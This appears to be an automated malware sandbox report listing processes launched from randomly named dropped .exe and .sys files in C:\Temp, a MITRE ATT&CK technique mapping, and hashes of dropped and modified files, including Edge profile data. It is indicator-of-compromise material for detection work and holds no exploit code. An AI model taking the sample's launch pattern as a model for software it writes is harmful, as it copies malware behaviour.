"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4212

C:\Temp\wuomgezwromjebzt.sys
C:\Temp\wuomgezwromjebzt.sys
1⤵
- Executes dropped EXE
PID:1720

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:3012

C:\Temp\htromgeywq.sys
C:\Temp\htromgeywq.sys
1⤵
- Executes dropped EXE
PID:5624

C:\Temp\lgeyvtroig.sys
C:\Temp\lgeyvtroig.sys
1⤵
- Executes dropped EXE
PID:4596

C:\Temp\vtqljdbvtn.sys
C:\Temp\vtqljdbvtn.sys
1⤵
- Executes dropped EXE
PID:3544

C:\Temp\xvqnifaysq.sys
C:\Temp\xvqnifaysq.sys
1⤵
- Executes dropped EXE
PID:3800

C:\Temp\kicausnkif.sys
C:\Temp\kicausnkif.sys
1⤵
- Executes dropped EXE
PID:1004

C:\Temp\pkhfzxvsmk.sys
C:\Temp\pkhfzxvsmk.sys
1⤵
- Executes dropped EXE
PID:2588

C:\Temp\pjhczurpjh.sys
C:\Temp\pjhczurpjh.sys
1⤵
- Executes dropped EXE
PID:5892

C:\Temp\trpjhbzurm.sys
C:\Temp\trpjhbzurm.sys
1⤵
- Executes dropped EXE
PID:1004

C:\Temp\bzwrojhbzt.sys
C:\Temp\bzwrojhbzt.sys
1⤵
- Executes dropped EXE
PID:3176

C:\Temp\ebwtrljgbz.sys
C:\Temp\ebwtrljgbz.sys
1⤵
- Executes dropped EXE
PID:2984

C:\Temp\dywqolgeyw.sys
C:\Temp\dywqolgeyw.sys
1⤵
PID:4804

C:\Temp\lidavsqlid.sys
C:\Temp\lidavsqlid.sys
1⤵
PID:2976

C:\Temp\xvpnhfaysq.sys
C:\Temp\xvpnhfaysq.sys
1⤵
PID:3316

C:\Temp\vpnkfcaxsp.sys
C:\Temp\vpnkfcaxsp.sys
1⤵
PID:4864

C:\Temp\zxvpnhfaxs.sys
C:\Temp\zxvpnhfaxs.sys
1⤵
PID:2468

C:\Temp\jhczurpjhb.sys
C:\Temp\jhczurpjhb.sys
1⤵
PID:5724

C:\Temp\bztrmjecwu.sys
C:\Temp\bztrmjecwu.sys
1⤵
PID:2152

C:\Temp\ywuomgeywu.sys
C:\Temp\ywuomgeywu.sys
1⤵
PID:4184

C:\Temp\bywqoigdbz.sys
C:\Temp\bywqoigdbz.sys
1⤵
PID:2204

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

cwuomgezwr.exe

Path C:\Temp\cwuomgezwr.exe
Size 376KB
SHA256 b3db87feaa93c416f91b75096e60714e1384463cd0e650a72e2765a9f738d761
MD5 22a2c000555f3a121a5305784e88763a
SHA1 22b67c9fedc89aa4bccd70231fae77d321169b3b
SHA512 85bd34bb8f28f35f6c898096413293a43600c3a71bd5ddbf2e01a7d83fb988c85a17013f43f40fe37821ceda163a4e815ed887543bf85914b0d01a2add04b84c
SSDEEP 3072:iViLcu7gaMr4ymKtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:iViLcYcVIJjiJcbI03GBc3ucY5DCSjX
TLSH
T134847B04BAA4F0B6D995047800EBAF36967EB4281726CBC7F354CE5D9A113C3A93479F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

eywqoigayt.exe

Path C:\Temp\eywqoigayt.exe
Size 376KB
SHA256 62fa5523aa567c58db3b69133fc14ca1d570f1f30ac52267d2ff241f53363cbe
MD5 af76d0b8dc8be3ba05ba6ba4d50b2c59
SHA1 51c7e8dac6017b700a3a96437224c928bba54565
SHA512 3cab9f60353ce849756d8849beeca36b0bdefbb3179f2b5564c5608a17f5f232d9989fb8fdf4faee837fbbbf35ad2eb944af17a18a26e7c5333d9f1aa17d5018
SSDEEP 3072:MViLcu7gaMr4ymKtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:MViLcYcVIJjiJcbI03GBc3ucY5DCSjX
TLSH
T187847B04BAA4F0B6D995047800EBAF36967EB4281726CBC7F354CE5D9A113C3A93479F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

htromgeywq.sys

Path C:\Temp\htromgeywq.sys
Size 293KB
SHA256 b8a617f21875c657d3d70bbab4cfb7107189acc78a6e09aa798de81006db0326
MD5 31f93f609f060d67439595f4665c699b
SHA1 4c00e63db37e3ebb8b3f1ad5f47f7e09a11245c4
SHA512 611b334dbcc05b62d66a8d2336e78bc13c4d37b80c091c16564bf4a77e361647e8b6526c0cf64bb07450dc61acdd571e5f84fab443374cc70f3ef1672a7031ef
SSDEEP 3072:/tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:/IJjiJcbI03GBc3ucY5DCSj
TLSH
T131545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_cwuomgezwr.exe

Path C:\Temp\i_cwuomgezwr.exe
Size 376KB
SHA256 54da7592f232127a328786ba75fa74aa562da64cbbea0cad51fda0a6ff4dd10d
MD5 e43fa7483df7b9780ab5a3f5c1730ec9
SHA1 5fe01b332b73a291b2b3a1a8860bd031c68997bc
SHA512 f92ec79a7bc4b74bab5a0e7bad643e125a9f280715c4302e6caa1d637cf09acf1302b3c4009ea41ded8048fc85a75f746823c0c0b0f6c2e62c046c38b2dd965d
SSDEEP 3072:eViLcu7gaMr4ymKtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:eViLcYcVIJjiJcbI03GBc3ucY5DCSjX
TLSH
T170847B04BAA4F0B6D995047800EBAF36967EB4281726CBC7F354CE5D9A113C3A93479F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_eywqoigayt.exe

Path C:\Temp\i_eywqoigayt.exe
Size 376KB
SHA256 efbeb86a81a092992dd6a883c6bfa0d8b26ab7550d2a5cbd2d2d79353ad7077f
MD5 23785a767febac6c5a75876bf5bf042b
SHA1 cac500658164a03ff25845dc765ceab772c6fdb4
SHA512 7db1756ca4fa43c1c0ea16e50e4da74ef2be54815a3bd50ac5d6f721bdf815bd4a25ec43620c659a58a16b3cfd150f5bf5e93771932a8d455cb9cb5c3761bf1b
SSDEEP 3072:ZViLcu7gaMr4ymKtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:ZViLcYcVIJjiJcbI03GBc3ucY5DCSjX
TLSH
T188847B04BAA4F0B6D995047800EBAF36967EB4281726CBC7F354CE5D9A113C3A93479F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_qoigaytqlj.exe

Path C:\Temp\i_qoigaytqlj.exe
Size 376KB
SHA256 ea88a17c22ff5f91b93690c38acb50bfa86b3a1cf47627d29a82590d65c1388c
MD5 5ea78872b01050eb6f685fb6628d6939
SHA1 6f03b17b4661fa6fa8122f5dfc0776f30f651052
SHA512 46f660a7b4b4baf79fff9a555d48833b4a992a38ef44bdad3ae16c3717965bc5465ebec2353e23e52c1fa6084a65d32c1a6d24e9849d9dcd854044004ed9a8c1
SSDEEP 3072:9ViLcu7gaMr4ymKtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:9ViLcYcVIJjiJcbI03GBc3ucY5DCSjX
TLSH
T166847C04BAA4F0B6D995047800EBAF36967EB4281726CBC7F354CE5D9A113C3A93479F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_vtnlfdxsqk.exe

Path C:\Temp\i_vtnlfdxsqk.exe
Size 376KB
SHA256 181f683bdfe27d83998a8497c75a018724141f9db09d27ba823345e7c25f68e6
MD5 f16170c920caf0a43224479940186dc1
SHA1 83b25b537965293af0075bfda817a4fa9cc1e365
SHA512 4de0ca72fac95ce8d557c96f7af6cd11a669586c7b572d1d46adecb909f9c06bc569563f9cbf151af2d8ddfe2a583a17c4ca89f6eb4d69056f014aaa23f47972
SSDEEP 3072:bViLcu7gaMr4ymKtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:bViLcYcVIJjiJcbI03GBc3ucY5DCSjX
TLSH
T117847B04BAA4F0B6D995047800EBAF36967EB4281726CBC7F354CE5D9A113C3A93479F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_zwqomgeytr.exe

Path C:\Temp\i_zwqomgeytr.exe
Size 376KB
SHA256 4bcf2bb274cbab1f4ad78028f4d3181f51ad274d7eab195820d85ac0ce13e37a
MD5 3b5cd53a23bfc9dd10b2d4aa242cae2b
SHA1 5d3f1055c5b6a25e1c325562b3326498838ae509
SHA512 b82c996354a098eaedaf86a8bb052b43f2ed5af495a775eefe06b38843fa49b84cc65a584e8652469a7a723b74cbe202576fed747efcdaaf9de3ba28890b9617
SSDEEP 3072:tViLcu7gaMr4ymKtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:tViLcYcVIJjiJcbI03GBc3ucY5DCSjX
TLSH
T10F847B04BAA4F0B6D995047800EBAF36967EB4281726CBC7F354CE5D9A113C3A93479F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kicausnkif.sys

Path C:\Temp\kicausnkif.sys
Size 293KB
SHA256 df8eaa4950eb616d7fa2713cf35f58df29bb272727e1a74931fe1425defccde5
MD5 04a19639caf857fef41e5c6102bab569
SHA1 74dfa6d04984cfb8f3acc3894e76174998249c19
SHA512 d3ce00060dbd963ae3fe117e7e2e2d77cbc161ad088a0f5f637a8b2cbce542b010390935c3d4b1a94e6a52564ae89a0f1be06760c5e73fb04cd155c8ee702ebf
SSDEEP 3072:gtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:gIJjiJcbI03GBc3ucY5DCSj
TLSH
T119545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kifaxvsnki.exe

Path C:\Temp\kifaxvsnki.exe
Size 376KB
SHA256 04248840e42f27916910cf073e8a095ef41bbfb1181ea3189d30c4f876be6d0d
MD5 f3f31ee06578b1507a28c6e4fa76bf2c
SHA1 d72ffb355dfa629dfd17976e9127c61920de39d7
SHA512 f054c3cd4551786fc5b591ff220bdec78af0e54cec354fe5af74ef6984350fd7ecd57ef02620424e13450b8b7d0ee90d4e4c8cc6836f17f8938c2cba781e175f
SSDEEP 3072:5ViLcu7gaMr4ymKtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:5ViLcYcVIJjiJcbI03GBc3ucY5DCSjX
TLSH
T177847B04BAA4F0B6D995047800EBAF36967EB4281726CBC7F354CE5D9A113C3A93479F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lgeyvtroig.sys

Path C:\Temp\lgeyvtroig.sys
Size 293KB
SHA256 6aa26c728608272c2555d5228fc02ce961fdd70ab8c8205436ad042dab8a8908
MD5 6e9c9a4334d83a25a36d711d38f171ed
SHA1 8fc7aef6da7531cb3d702771eaf5a4a97b8d9f70
SHA512 61d20865d89d18283616122724e2f6f8d485b893a7c70d907bc0674422467aa8ef412e7db89d2281b822404a67db081009e251ae19a2589fd36d2a13fbb743a0
SSDEEP 3072:ctKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:cIJjiJcbI03GBc3ucY5DCSj
TLSH
T134545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qoigaytqlj.exe

Path C:\Temp\qoigaytqlj.exe
Size 376KB
SHA256 2a33e1065815b9c9293ef8643ac47d00832e03f259bd7023ab8954ad4912ba8c
MD5 01f6ed369dfe29d87da68f7fc8e9da17
SHA1 ca7aac9cf5e53a0f87b4ab7e5df0a40804f05c90
SHA512 008e60c92b5760194b3c351f28faa99658770acc765955f7e3234c513c9dc174c0292126653876cf692392918dab2838b08a62ccd0f1ac821d39e6d5b84b6bdc
SSDEEP 3072:NViLcu7gaMr4ymKtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:NViLcYcVIJjiJcbI03GBc3ucY5DCSjX
TLSH
T185847C04BAA4F0B6D995047800EBAF36967EB4281726CBC7F354CE5D9A113C3A93479F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vtnlfdxsqk.exe

Path C:\Temp\vtnlfdxsqk.exe
Size 376KB
SHA256 5f278db52ebefa7d039a78139ce9f45092b621c2daa763b54c6e64db3943531c
MD5 9385e2db0bebafe3c869116ba934187b
SHA1 7c2efac69ccc16675dd2f0f6b40e3c883bfbee8e
SHA512 545be7ebd0f06b9cc901deedd92486c0e9a35c7fc2c0e5bd2373323061dea4486bf50c4048d3e8cff1439b3baab91ebd9b24fc4041ca5a4cc2e60fe4a1499ae1
SSDEEP 3072:5ViLcu7gaMr4ymKtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:5ViLcYcVIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1BE847C04BAA4F0B6D995047800EBAF36967EB4281726CBC7F354CE5D9A113C3A93479F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vtqljdbvtn.sys

Path C:\Temp\vtqljdbvtn.sys
Size 293KB
SHA256 fa6a464054379d01e89bc8ad05e7f443d0214f298f9eff941983047e69ffcbe3
MD5 82cba9550cde169e50b92d6e333d900c
SHA1 1ffc8a2346824a7a54aefaf8bcc630852c742323
SHA512 88863154656169add55a2213d213168b7f6cac64af72370e87d7e9f630dfe3ffbcdb4da985c07631484a15af34c03e647354db8ba90eb8b3bfaafb374ba8dc95
SSDEEP 3072:RtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:RIJjiJcbI03GBc3ucY5DCSj
TLSH
T156545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wuomgezwromjebzt.exe

Path C:\Temp\wuomgezwromjebzt.exe
Size 376KB
SHA256 a8720e5ce1734fbb3ea6340618479c5e8f846c72621acca971fed6f51049cf29
MD5 383addf61c8bacf298c6d3ff765b79df
SHA1 7fe4372699a3040845827cfb8110f800c5bb5abf
SHA512 055d26af5909a13b79a1ac10c5b34ee3ef92cd6a9a7a7d5b6fc06f8687989e7afc27f709fd72afca5d9cdf8e91125bb5165c118f41040db93b97922f09317508
SSDEEP 3072:9ViLcu7gaMr4ymKtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:9ViLcYcVIJjiJcbI03GBc3ucY5DCSjX
TLSH
T153847B04BAA4F0B6D995047800EBAF36967EB4281726CBC7F354CE5D9A113C3A93479F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wuomgezwromjebzt.sys

Path C:\Temp\wuomgezwromjebzt.sys
Size 293KB
SHA256 3413333f51a8d20629a731a233672b001785824dcc002f7bb235e60be2b74939
MD5 a3320e14e66b5feaabb71b3ef88054f0
SHA1 9fbd487ce1311b08739d894a195d6c5413850c78
SHA512 769fc2119e9f08b0df9ceac77e7ba5cc0fd24b9e43cd34616737a44e4779ba48447d9faaddb5952f29f9de48c5bf4e51a0ccb9587e29f8c7ffdbf43f4fe85d95
SSDEEP 3072:1tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdS:1IJjiJcbI03GBc3ucY5DCSj
TLSH
T17F545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xvqnifaysq.sys

Path C:\Temp\xvqnifaysq.sys
Size 293KB
SHA256 326a2165860b8c009af27fc859c0bb5026c6cee016aae4579a5ec35eff0df01a
MD5 ef002d8acab2a1e58b010d941477d35d
SHA1 c4e9ae85de0060a8451b493f0f06fd9385d4d071
SHA512 57023ff40ade7a7166e043520c9873475acf8fe627c1b75d1412fe8137ed41a49426da4ab60373f1ed9747b29a326c82df4019b64e328d644f4b4c5e9f8f6954
SSDEEP 3072:MtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:MIJjiJcbI03GBc3ucY5DCSj
TLSH
T1BA545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zwqomgeytr.exe

Path C:\Temp\zwqomgeytr.exe
Size 376KB
SHA256 fa12946872da5511dfc30a277dfb897676a918c9369c5cbb061e8b908fbb7b30
MD5 c570cec6a5dc973847ad0766a0e8b5cc
SHA1 c1311f3517b6c9ae8bdbbc8c5db846fd8c1df54b
SHA512 8696c5553b3203952c743ccbdb7ff4c71f1e84a04fc965e64ec196a7cc1b6dead76ee222da7a9999a823eb318a27d193bda571cc08d84e6074c2cf4dafa4c9c3
SSDEEP 3072:wViLcu7gaMr4ymKtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:wViLcYcVIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1B6847B04BAA4F0B6D995047800EBAF36967EB4281726CBC7F354CE5D9A113C3A93479F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 8aaa68aad07ba45abe53bd513aa5f7e7b21bd1b29db6e1d5c1e0a79a5f4eb890
MD5 74012bbce5fada7634c1da1b567562b3
SHA1 09db27f38f27e35986cfd407b57f6f83c8fc59f8
SHA512 c1a6a98f972793c84274c29552107bfe07b775c7c8121e5fdf137ebf9a7cc3f4eb43fe9eadfc842e7b92ca7281bbcea3d660bdd8fc9adc56add068510c41e48d
TLSH
T1FBD02BE07640890CC980203335F75240920189108401D1480040F335CC845C1257E0CF
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 e413e02b9e80ee8d76d52c1043fc32251e2d7634d4b2fbd970df9ace9d91831a
MD5 22959b3a06a842ac30237dd57e8a3801
SHA1 0b7c28071a592034aa2607038000f085c7bb6362
SHA512 644add9ab912ad7fdfc55bc7a1b84482c75cc9bc69a59d169bae63a0400619d999846ebbadb0ef2bd6d35c2bd08a5f07053b600874dd5dfcbda7e8f3076131fe
TLSH
T1A5D02BE476408A0CC980203335F6524092018910D801D1480040B325CC845C1257F0DF
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

temp-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\temp-index
Size 3KB
SHA256 6cec720eddc325849019cd20b96b2bf13b5ce4f62cd4ec2f677fcf26afc6071b
MD5 d6faa02114c716c99e8e8ead4e5481f4
SHA1 de11b422509d09a911e28a4f46821d7628d6d830
SHA512 21e8d19ee0a49a2c5d73b0de117049b97833b9e94d42a598adc2cafc520cff316dbe771ce9cb03a86b8b1af832af65cf43221ea5eb69eba6daffbbc09f9fbded
TLSH
T13161FD5493611EF2CBE94AB3F2F06C9833E88446668B2A0DC05EAFF51406F5D93E1633
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe598a54.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe598a54.TMP
Size 3KB
SHA256 b6f2982a04e17659855eae1300cd87ca2d7e30cc7172105bc1e0094c63fc8fb0
MD5 3b2806b776ab546f8ef8c0aa0b242fc2
SHA1 f19cef90da1adb6650d38ad6c23b0036bac5e3a0
SHA512 9f5a2443e10a157641524336a4cf7cecef3f073facdc4203ca8c9bc7e9e480f6245af9ca3213b43899750c7c199c62d79db09ad92da388bce92a23f4b44e485f
TLSH
T16561DD5593611EF2CBE94AB3F2F06C9833E88446668B2A0DC05EAFF51506F5D93E1633
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 f4b2d18b9a18f8ec4051e22b5b1fcc4c33db2358fd99d65fece11dcdbd258600
MD5 a79c341f0f291ce8233561097f1cdce0
SHA1 c1045c58ed4f54b7769c614e3d672f9bb13d7e0d
SHA512 764103eb2a94e092a983e0b7d2b2c540c8a9caaf2061bbd00e96ba1820720b4be08e98076fe666dacdce141a07c5d758fa1e077a3ebfa3a5580cc6936b2a40b5
TLSH
T1C5419CF3C3E4866E890196F0AA18AE1BDE1D0915832C3D5AC9E4AF5B93F2471E141A5F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 a748c2633cf8071a9d2d30545cf651575d0cbc0fb66be16cf625288d2c3aacfb
MD5 bd225a60f25371302e8ae266f4ed7433
SHA1 270e8ac6f419abc49634a81eaea2c40c21f434f6
SHA512 9465d7d7339b574cd372a57ee16d150b86a1b594430db6bddf94ecc6d8769d64366af02f09dfbae9008fa9b3ba0700b24ffc5b12e3f5a705c65a0c0f3e066267
SSDEEP 192:sxRkyfRfyM/jK1Ml8wCW/fHsrZhRZefzoA8p9w/g6+WNCHk/YnJ3h1GGHIgtJ:sxRkyfx8W/fHsrZh/e2a/5l/sRbH3
TLSH
T12362E8156A34997B8CDBD209FA557F93D6F81577A2901E44AAFCDB0C00E6AED220381F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 2658266d11c7427fa2afcf83f0edbde7fbf5b28f86cc3d961ff48aa6cb62d32d
MD5 f3d9940d0844280e7940571fe1f5cb3d
SHA1 b701526ba2620f5e0451f720e425da70fd1effd6
SHA512 52301fed35a38d751f01c037252f9c891a9de020b4896ba1940fb449eca1093f11e3c084ada82fd884a672b775bd008c9a21fafb32dda8dfbc3961584e5ca8f7
SSDEEP 192:sxRkyYRfyM/jK1Ml8wCW/fHscZhRZefzoA8p9w/g6+WNCHk/YnJ3h1GGHIgDRJ:sxRkyYx8W/fHscZh/e2a/5l/sRbHv
TLSH
T12062E8156A345D7B8CDBD209FA457F93D6F81477A2901E44AAFC9B0C00EABED221381F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 2d7c238f398d7a1fa6c2475a5bf94fd95f04f75136b58b404e61ec728f70d8b4
MD5 c2bd512793258a79208d31bce78b77a8
SHA1 bfec143495456fbf4845b1e7636b3c44a13b50ea
SHA512 70dfbcfe1aa43141018a47e381748f70110014ed0ece2a651095cde7bb80424921bea91aedbe7878cdbe59977b9c8e63020863c912a8266c78f48194776e874f
SSDEEP 192:sxRkyYRfyM/jK1Ml8UQdCW/fHscMhRZefzoA8prw/g6+WNCHk/YnJJNh1GGHIgD1:sxRkyYxqcW/fHscMh/e28/5l/sBbH5
TLSH
T13862D8166A249D7B9CDBD209FA517F93D6F81477A2901E44AAFCDB0C00E6BDD221381F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 1116642c0f53fa7db6986f721b178dbb05daca9f5bf32421629dce1efb39a9b2
MD5 d13b0511a97d854d82537e900b5ebc4b
SHA1 805194ab369185584bd73a3cae3c3a8d19024815
SHA512 9f2ee7d755efa4a237cdae4e93067fd0e5077f4bc9956ccfb9f6372a0295897b07ab0b68509938ecc5fef1dee22e4506b08c58f4175b7af7df3400395fc5ff3a
SSDEEP 768:wGedPg7pLuL7X6WgoufDM8F1+UoAYDCx9Tuqh0VfUC9xbog/OV6zOu4YvroSH8dc:wGedPsE7X6WgoufDMu1jatzOVY81c
TLSH
T13AE2DB3B680CCB7E4F804EDDEC29BE9EADA801CF5AD8895447EA840C03C57EB55165DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 b68fb499a27802cf0c5811c4097016db83212e0f69172e7ca99c9ea64e2b1d21
MD5 3b750f1aa6abe72246a53f59fc186af4
SHA1 223fda9a9624c03fefdc7bf635c1615de3af59a1
SHA512 0f9be42b002f7fc4abc32a0f9a3531332860f084724d039151e38a001d0d717f33a0e74efd93b0d2b72064729638598785b1b11eecbc1a758cc6afd08327eda6
SSDEEP 96:KReTieYgQGWAltgeGK4DgcGcW+9M+XHklQUuSW0Wyf/gc0K4xgW0cUUfOyLkZ1zf:CeTieYgQxAl+eODgc1W+9M+XHklQUuSb
TLSH
T1DA914125753A075038BE7A4880A69D5BE6C5B4A33118F52B77EE01E14F27E438DFE8C9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 a4df911bb95ffa0485d404d301daedb13268ada5768f2f183e75eac6b90c610a
MD5 8f375a4b28b6229320d4066f40ec1fe4
SHA1 cd2d50c18316013e3ca90743d8dceef50a2fe2e2
SHA512 982fc277e770919876658a00afb5306e7e773452ae158b26c4309dc65db52653430cc72f249be32dc12bea56c03302a27dff0c667646f9b61bac88e06d4d28f6
SSDEEP 768:6rv+4UNbds3diDZIO0CEl8dNzc4ReyIsXseVH1S5D:6bsbS3qDtc44bs8EH1Y
TLSH
T13E03CF32A8688977ACF69785B44B76133EF4612B82C81ED4D5DE2F0C4A4B1DD130F923
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

